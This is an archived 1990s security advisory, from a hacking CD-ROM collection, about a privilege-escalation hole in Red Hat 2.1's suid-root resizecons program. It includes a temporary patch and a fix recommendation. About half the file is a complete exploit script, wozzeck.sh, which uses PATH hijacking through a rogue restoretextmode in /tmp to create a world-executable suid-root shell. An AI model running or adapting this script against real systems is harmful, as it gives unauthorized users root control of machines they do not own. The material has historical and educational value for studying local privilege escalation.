home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_wo.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  2.5 KB  |  77 lines

  1.  
  2.    There is a security hole in RedHat 2.1, which installs the program
  3. /usr/bin/resizecons suid root.  The resizecons program allows a user
  4. to change the videmode of the console.  During this process, it runs
  5. the program restoretextmode without an absolute pathname, assuming the
  6. correct version will be found in the path, while running with root
  7. privileges.  It then executes setfont in the same manner.  By setting
  8. the path to find a rogue restoretextmode, a user can execute an arbitrary
  9. program as root.
  10.    As a more amusing aside, the file /tmp/selection.pid is read and the
  11. pid contained within is sent a SIGWINCH, allowing a user on the system
  12. to force a redraw of the screen to an arbitrary process (that handles
  13. SIGWINCH calls) on the machine.
  14.    If /usr/bin/resizecons needs to be run by users other than root at the
  15. console, provisions need to be made in the code to execute the outside
  16. utilities with absolute pathnames, and to check access rights on files
  17. before opening.
  18.  
  19.                    Program: /usr/bin/resizecons
  20. Affected Operating Systems: Red Hat 2.1 linux distribution
  21.               Requirements: account on system
  22.            Temporary Patch: chmod -s /usr/bin/resizecons
  23.        Security Compromise: root
  24.                     Author: Dave M. (davem@cmu.edu)
  25.                   Synopsis: resizecons runs restoretextmode without an
  26.                             absolute pathname while executing as root,
  27.                             allowing a user to substitute the real
  28.                             program with arbitrary commands.
  29.  
  30. Exploit:
  31.  
  32. wozzeck.sh:
  33. #!/bin/sh
  34. #
  35. # wozzeck.sh
  36. # exploits a security hole in /usr/bin/resizecons
  37. # to create a suid root shell in /tmp/wozz on a
  38. # linux Red Hat 2.1 system.
  39. #
  40. # by Dave M. (davem@cmu.edu)
  41. #
  42. echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
  43. echo ================ Checking system vulnerability
  44. if test -u /usr/bin/resizecons
  45. then
  46. echo ++++++++++++++++ System appears vulnerable.
  47. cd /tmp
  48. cat << _EOF_ > /tmp/313x37
  49. This exploit is dedicated to
  50. Wozz.  Use it with care.
  51. _EOF_
  52. cat << _EOF_ > /tmp/restoretextmode
  53. #!/bin/sh
  54. /bin/cp /bin/sh /tmp/wozz
  55. /bin/chmod 4777 /tmp/wozz
  56. _EOF_
  57. /bin/chmod +x /tmp/restoretextmode
  58. PATH=/tmp
  59. echo ================ Executing resizecons
  60. /usr/bin/resizecons 313x37
  61. /bin/rm /tmp/restoretextmode
  62. /bin/rm /tmp/313x37
  63. if test -u /tmp/wozz
  64. then
  65. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
  66. else
  67. echo ---------------- Exploit failed
  68. fi
  69. else
  70. echo ---------------- This machine does not appear to be vulnerable.
  71. fi
  72.  
  73.  
  74.  
  75.  
  76.  
  77.